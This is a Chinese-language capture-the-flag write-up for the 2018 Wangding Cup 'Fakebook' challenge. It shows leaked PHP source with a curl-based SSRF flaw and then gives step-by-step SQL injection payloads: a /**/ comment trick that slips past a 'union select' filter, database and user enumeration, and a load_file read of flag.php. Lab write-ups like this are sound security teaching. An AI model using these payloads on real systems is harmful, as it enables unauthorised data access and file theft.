[網鼎杯 2018]Fakebook

imtaieee發表於2024-11-13

題目連結:[網鼎杯 2018]Fakebook

題目開啟後如下所示。

透過目錄掃描,發現存在 rebots.txt 檔案與 flag.php 檔案,但 flag.php 檔案訪問後無內容,rebots.txt 檔案訪問後回顯如下。

下載 user.php.bak,原始碼如下。

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

透過對檔案 "user.php.bak" 的分析,可以發現,在 UserInfo 的 get 方法中,存在 SSRF 漏洞。

接下來,隨意註冊一個使用者,訪問其的主頁,如下。

發現似乎 blog 的內容會被伺服器請求,並且回顯在頁面中。因此,這道題目的思路就比較明確了,就是如何透過 SSRF 訪問到 flag.php,並將 flag.php 的內容回顯到頁面中。

接著,發現 view.php 的 no 引數存在 SQL 注入漏洞。

從響應包中,可以得知網站的物理路徑(/var/www/html)。

接下來,嘗試 SQL 注入。

透過 Payload:no=1 or 1=1;#no=1' or 1=1;#no=1" or 1=1;# 的回顯結果,確認是數字型注入。

接著,透過 order by,判斷結果集的列數為 4。

使用聯合注入,Payload:?no=-1 union select 1,2,3,4;#,發現提示被過濾。

透過 fuzzing,發現是檢測了字串 "union select",因此使用註釋符:/**/ 繞過。

繼續使用聯合注入,Payload:?no=-1 union/**/select 1,2,3,4;#,發現回顯點在 username 處(對應第二列)。

接著,查詢資料庫名,Payload:?no=-1+union/**/select+1,database(),3,4%3b%23

接著,查詢資料庫使用者,Payload:?no=-1+union/**/select+1,user(),3,4%3b%23

可以發現,系 root 使用者,因此直接使用 load_file 函式讀取 flag.php 內容,Payload:?no=-1+union/**/select+1,load_file("/var/www/html/flag.php"),3,4%3b%23

參考:

  • buuctf-[網鼎杯 2018]Fakebook 1

相關文章